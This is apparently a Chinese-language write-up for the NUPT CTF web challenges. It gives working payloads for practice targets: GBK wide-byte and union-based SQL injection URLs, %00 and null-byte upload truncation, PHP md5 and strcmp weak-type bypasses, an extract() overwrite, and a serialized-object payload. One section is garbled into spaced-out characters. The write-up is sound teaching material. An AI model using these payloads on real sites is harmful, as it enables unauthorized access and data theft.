南邮CTF-WEB-write-up 教程详细解说

    • 单身一百年也没用
    • Download~!
    • COOKIE
    • MYSQL
    • sql injection 3
    • /x00
    • bypass again
    • 变量覆盖
    • PHP是世界上最好的语言
    • 伪装者
    • Header
    • 上传绕过
    • SQL注入1
    • pass check
    • 起名字真难
    • 密码重置
    • php 反序列化
    • sql injection 4
    • 综合题
    • system
    • SQL注入2
    • 综合题2
    • 注入实战1
    • 密码重置2


单身一百年也没用

传送门:biu~

南邮CTF-WEB-write-up 教程详细解说_第1张图片

单击之后,跟我说没有key
南邮CTF-WEB-write-up 教程详细解说_第2张图片

这种题目就直接用burpsuit抓包,观察请求回应信息
南邮CTF-WEB-write-up 教程详细解说_第3张图片
答案很明显了,flag出来了

Download~!

想下啥就下啥~别下音乐,不骗你,试试下载其他东西~
真·奥义·传送:点我
南邮CTF-WEB-write-up 教程详细解说_第4张图片
点击了那两个音乐链接,发现是正常的音乐文件,审查一下元素,发现了问题南邮CTF-WEB-write-up 教程详细解说_第5张图片
这里的链接很可能存在文件包含漏洞,可以试试用download.php的base64编码看看能否取出源代码。
这里写图片描述
南邮CTF-WEB-write-up 教程详细解说_第6张图片
审计代码发现这里面有一个include(“hereiskey.php”);我们继续按着前面的思路得到源码
南邮CTF-WEB-write-up 教程详细解说_第7张图片
flag到手了

COOKIE就是甜饼的意思~
地址:传送门
TIP: 0==not
这题目一进来啥也没有,根据提示,看来是要抓包分析了
南邮CTF-WEB-write-up 教程详细解说_第8张图片发现了Cookie: Login=0,前面的提示是0==not ,那么1应该就是==yes 咯
南邮CTF-WEB-write-up 教程详细解说_第9张图片flag到手了!

MYSQL

不能每一题都这么简单嘛
你说是不是?
题目地址
南邮CTF-WEB-write-up 教程详细解说_第10张图片这题涉及到了每个网站都有的robots.txt,直接在url里面转入robots.txt
南邮CTF-WEB-write-up 教程详细解说_第11张图片
这里,提示了我们sql.php,进行代码审计吧,审计发现:intval()将变量转成整数类型,且,数值不能是1024,那么就有可能是小数咯
南邮CTF-WEB-write-up 教程详细解说_第12张图片flag到手

sql injection 3

关于这题,大家可以看看我在简书上写的sqlmap相关该题题解:点我
here
南邮CTF-WEB-write-up 教程详细解说_第13张图片这里看链接名字就看出来了,GBK宽字节注入啊,宽字节注入需要用到啥?%df之类的(具体的宽字节注入方面的内容这里不赘述了,大家百度一下)
南邮CTF-WEB-write-up 教程详细解说_第14张图片
南邮CTF-WEB-write-up 教程详细解说_第15张图片
经过这两个,大家可以看到,order by 2 和显示位为 “2” ,接下来可以顺利进行爆库,查询名为’sae-chinalover’的数据库的表
南邮CTF-WEB-write-up 教程详细解说_第16张图片

查表
南邮CTF-WEB-write-up 教程详细解说_第17张图片
这里写图片描述
这里写图片描述
这里写图片描述
相关代码

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%200,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%201,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%202,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x7361652D6368696E616C6F766572%20limit%203,1%23

经一步步查询,得到flag在ctf4中

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name=0x63746634%20limit%200,1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name=0x63746634%20limit%201,1%23

flag

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,flag%20from%20ctf4%23

这里写图片描述

/x00

题目地址:题目有多种解法,你能想出来几种?
南邮CTF-WEB-write-up 教程详细解说_第18张图片这题目要求我们输入一个nctf的参数值,且这个参数值必须为 1. 数字 2. #biubiubiu 就是让我们绕过判断语句

ereg的漏洞: 会被%00截断及遇到%00则默认为字符串的结束
所以我们可以构造绕过语句:nctf=1%00%23biubiubiu
这里写图片描述

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

bypass again

地址:依旧是弱类型
南邮CTF-WEB-write-up 教程详细解说_第19张图片通过审计代码,发现他让你既要a!=b 又要 md5的a b值相等。
南邮CTF-WEB-write-up 教程详细解说_第20张图片

南邮CTF-WEB-write-up 教程详细解说_第21张图片

  1. 240610708跟QNKCDZO 利用不同的字符串可能产生相同的md5 绕过
  2. a[]=1&b[]=2 利用php get 可以数组,而md5() 不能处理数组

变量覆盖

听说过变量覆盖么?
地址: 题目地址
打开页面后发现有个源代码“source at /source.php” 点击进去是让我们代码审计与变量覆盖有关:经查询,变量覆盖与代码中的extract()有关,这里放出一个链接,与变量覆盖的相关知识有关,大家可以看看:点我
这里是 extract($_POST);提交参数 我们可以抓包修改
南邮CTF-WEB-write-up 教程详细解说_第22张图片
payload:pass=1&thepassword_123=1

PHP是世界上最好的语言

听说PHP是世界上最好的语言
地址:题目地址
南邮CTF-WEB-write-up 教程详细解说_第23张图片
tips我们还有一个index.txt文件
南邮CTF-WEB-write-up 教程详细解说_第24张图片
代码审计了,要绕过if(eregi(“hackerDJ”, GET[id]))
并确保经过urldecode( GET[id])GET[id]==hackerDJeregiphpidURLURLGET[id]=urldecode(GET[id]);,hackerDJURL G E T [ i d ] ) 的 值 能 G E T [ i d ] == “ h a c k e r D J ” 这 里 我 刚 开 始 想 歪 了 , 还 以 为 着 重 点 在 e r e g i 绕 过 上 , 后 面 才 想 到 应 该 要 用 编 码 绕 过 。 在 p h p 语 言 中 , 会 将 i d 值 先 U R L 编 码 , 再 传 递 , 而 在 这 代 码 中 , 则 又 U R L 编 码 了 一 次 ( G E T [ i d ] = u r l d e c o d e ( G E T [ i d ] ) ; ) , 所 以 我 们 要 编 码 两 次 把 h a c k e r D J 经 过 两 次 U R L 编 码 : _GET[id] == “hackerDJ”
南邮CTF-WEB-write-up 教程详细解说_第25张图片

伪装者

这是一个到处都有着伪装的世界
题目地址:点我
南邮CTF-WEB-write-up 教程详细解说_第26张图片
提示我们可能需要更改请求头了,但是更改了请求头,添加:X-Forwarded-For: 127.0.0.1 也没用。。。跟前面遇到的一道题(你从哪里:你是从 google 来的吗?传送门:题目地址)一样,都是添加X-Forwarded-For: ,结果没用。。。大家可以试试
南邮CTF-WEB-write-up 教程详细解说_第27张图片

头啊!!头啊!!!
传送门: 点我咯

直接告诉我们问题出在请求头上
南邮CTF-WEB-write-up 教程详细解说_第28张图片
额。。这题有点水啊。。response上就直接告诉你了,跟前面某题目一样了

上传绕过

题目地址:猜猜代码怎么写的
文件上传漏洞,大家可以了解一下
南邮CTF-WEB-write-up 教程详细解说_第29张图片
先随便上传一个.jpg 看看反应,报出如上内容,让我们上传后缀为php文件
这里写图片描述
php还是不行,绕来绕去都不行 =-= (这篇文章讲的很好,剖析了00截断的原理:文章)

0x00截断,00截断是将上传文件名或路径名中使用ascll码值为0的字符(也就是null)来进行截断

%00一般用在URL中用于截断url来进行文件包含,两者原理都一样,都是ascll为0的字符,只是形式不同而已。

     我们可以写个代码验证一下,在网上找到了一个浅显易懂的代码,下面我们看代码

<% 
path="upfiles/picture/" 
file="XXX.jpg" 
upfilename=path & file '最后的上传地址 
%>

     大家应该能清楚的看懂这个意思,path为上传的路径,file是生成的文件名,而upfilename则是最终上传后路径,试想一下,如果path是用户可以控制的,那么截断漏洞就产生了。比如我更改的path为upfiles/picture/1.aspchr(0)&XXX.jpg,chr(0)会忽略后面的东西,看看,upfiles/picture/1.asp,很熟悉吧一个webshell就这样诞生了。
        >>引用了上文提到的文章链接

这道题就是控制了上传的路径,在路径后面进行00截断,以此绕过限制

南邮CTF-WEB-write-up 教程详细解说_第30张图片

SQL注入1

听说你也会注入?
地址: 题目地址
南邮CTF-WEB-write-up 教程详细解说_第31张图片
看起来是让我们进行代码审计
南邮CTF-WEB-write-up 教程详细解说_第32张图片
当$query[user]==”admin”)的时候就可以报出flag
南邮CTF-WEB-write-up 教程详细解说_第33张图片\
payload: admin’)#
其实就是闭合语句:where (user='admin')#') and (pw='".$pass."')";

pass check

传送门:题目地址
放出了核心代码让我们审计南邮CTF-WEB-write-up 教程详细解说_第34张图片
其实就是让我们比较pass,pass1两个的值,相同就行
这里要根据strcmp的漏洞,如构造数组绕过:pass[]=1
南邮CTF-WEB-write-up 教程详细解说_第35张图片

起名字真难

地址:代码如下
这题有点难啊这有两个判断,1,参数不能在1-9之间,2,还要求$number == ‘54975581388’结果为true

在php判断==时,若有字符串为0x*******开头,则将十六进制转换为十进制,然后进行比较。
南邮CTF-WEB-write-up 教程详细解说_第36张图片
那么,这里的参数值为0xccccccccc
南邮CTF-WEB-write-up 教程详细解说_第37张图片

密码重置

重置管理员账号:admin 的密码
在点击忘记密码之后 你的邮箱收到了这么一封重置密码的邮件:
点击此链接重置您的密码
南邮CTF-WEB-write-up 教程详细解说_第38张图片

抓包修改

web13/index.php?user1=YWRtaW4=
user=admin&newpass=123&vcode=1234

就可以获得flag

php 反序列化

链接 here
代码审计
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误(目前php魔术引号功能已经关闭)

在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

事实上,此题中magic_quotes_gpc一直是falsee


class just4fun {
    var $enter;
    var $secret;
}
   //get_magic_quotes_gpc、stripslashes转译接收到的参数
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
          //反序列化pass参数給$O
    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        //就是让secret 和 enter相等获得flag
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

所以为了让secret 和 enter相等,我们可以在php中,定义一个参数。让secret 和 enter 同时引用:

$pass->secret=& $pass->enter

// 因为 $o = unserialize($pass) 所以后面要serialize
$o=serialize($pass);

class just4fun {
    var $enter;
    var $secret;
}

$pass=new just4fun();
$pass->secret=&$pass->enter;

$pass=serialize($pass);
echo $pass;

?>

南邮CTF-WEB-write-up 教程详细解说_第39张图片
payload:O:8:”just4fun”:2:{s:5:”enter”;N;s:6:”secret”;R:2;}
这题做的时候网站没给我回应,不知道咋回事,flag就算了

sql injection 4

继续注入吧~
题目地址 here
TIP:反斜杠可以用来转义 仔细查看相关函数的用法
南邮CTF-WEB-write-up 教程详细解说_第40张图片
html已经把源代码放出来了,审计一下

当 magic_quotes_gpc 打开时,所有的 ’ (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。get_magic_quotes_gpc经常与stripslashes函数配合使用(使用stripslashes()去掉多余的反斜杠),如果get_magic_quotes_gpc返回1时,则用stripslashes函数对字符串进行处理。

南邮CTF-WEB-write-up 教程详细解说_第41张图片这就是tips的观点,利用“ \ ”来构成 “ \’ ” 把语句中的单引号闭合。
payload :admin\’AND pass=’ or 1#
闭合语句:query=’SELECT * FROM users WHERE name=\” admin \’ \’ AND pass=\” or 1 #’\’;’;
南邮CTF-WEB-write-up 教程详细解说_第42张图片

综合题

题目地址:here tip:bash
这个第一个想法就是 js的aaencode (有点像),我们想把他代码美化下,然后放在console里面执行
南邮CTF-WEB-write-up 教程详细解说_第43张图片
南邮CTF-WEB-write-up 教程详细解说_第44张图片
可以看到,蹦出了一个.php文件,放在URL后面打开看看那
这里写图片描述
=-=
说是在脑子里。。可能跟请求头有关
南邮CTF-WEB-write-up 教程详细解说_第45张图片
发现这个 tip: history of bash 查阅资料得知如下
南邮CTF-WEB-write-up 教程详细解说_第46张图片
南邮CTF-WEB-write-up 教程详细解说_第47张图片
说在当前目录下有这么一个压缩包
南邮CTF-WEB-write-up 教程详细解说_第48张图片
那我们把它脱下来看啊看
南邮CTF-WEB-write-up 教程详细解说_第49张图片
感觉不错

system

tips:其他题目的源码我也放出来了,题目地址:http://139.199.71.170:44227/
github:https://github.com/otakekumi/NUPT_Challenges
虽然可以直接来这儿找,但还是好好做吧,来源:CSAW2016,汉化来自:Jarvis OJ

SQL注入2

注入第二题~~主要考察union查询
传送门:[点我带你飞](http://4.chinalover.sinaapp.com/web6/index.php)

if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "

Logged in! Key: ntcf{**************}

"
; } else { echo("

Log in failure!

"
); } } ?>
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "

Logged in! Key: ntcf{**************}

"
; }

这道题要符合:经过md5加密的pass和 query[pw]数值相等:当这两个相等时,!strcasecmp(pass,query[pw])返回 true 以此来爆出flag
pass的值是可控的,但是需要保证pw的数值,所以我们需要想办法写入pw数值。
通过输入payload:admin’and 1=2 union select md5(1) #
构造:query = mysql_fetch_array(mysql_query(“select pw from ctf where user=admin’ and 1=2 union select md5(1) #
admin’ 是为了闭合前面的语句 后面的 and 1=2 是为了报错 然后才能用后面的union 将md5(1) 的值 传参給 query
南邮CTF-WEB-write-up 教程详细解说_第50张图片
这里写图片描述
这样子也可以,都是为了让union前面的失效,当然,pass(密码)一定要和你传递給query的数值一样 及 md5(1) 和 pass=1.

综合题2

非xss题 但是欢迎留言~
地址:get the flag
详解放这里了,放不下
here

注入实战1

请使用firefox浏览器,并安装hackbar插件(自行百度并熟悉)
目标网址:地址
flag为管理员密码的32位md5(小写)

网址进去就报错了,可能改版,手工不行了

密码重置2

题题被秒,当时我就不乐意了!
本题来源于CUMT
题目链接

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

F12进来找找邮箱
南邮CTF-WEB-write-up 教程详细解说_第51张图片

非正常关闭vi编辑器时会生成一个.swp文件

TIPS说linux下一般使用vi编辑器,并且异常退出会留下备份文件,经过查询为.swp格式文件,说明,肯定有东西留在了网站里面,页面中涉及到的文件,只有两个,index和 submit.php 两个都去试一下,发现submit存在遗留文件南邮CTF-WEB-write-up 教程详细解说_第52张图片


........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

重点是这个

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

需要满足strlen($token)=10);token=’0’
一个是长度,一个是值。可以试试 0e的弱类型比较
payload:南邮CTF-WEB-write-up 教程详细解说_第53张图片
这题还算简单。

你可能感兴趣的:(Writer-up)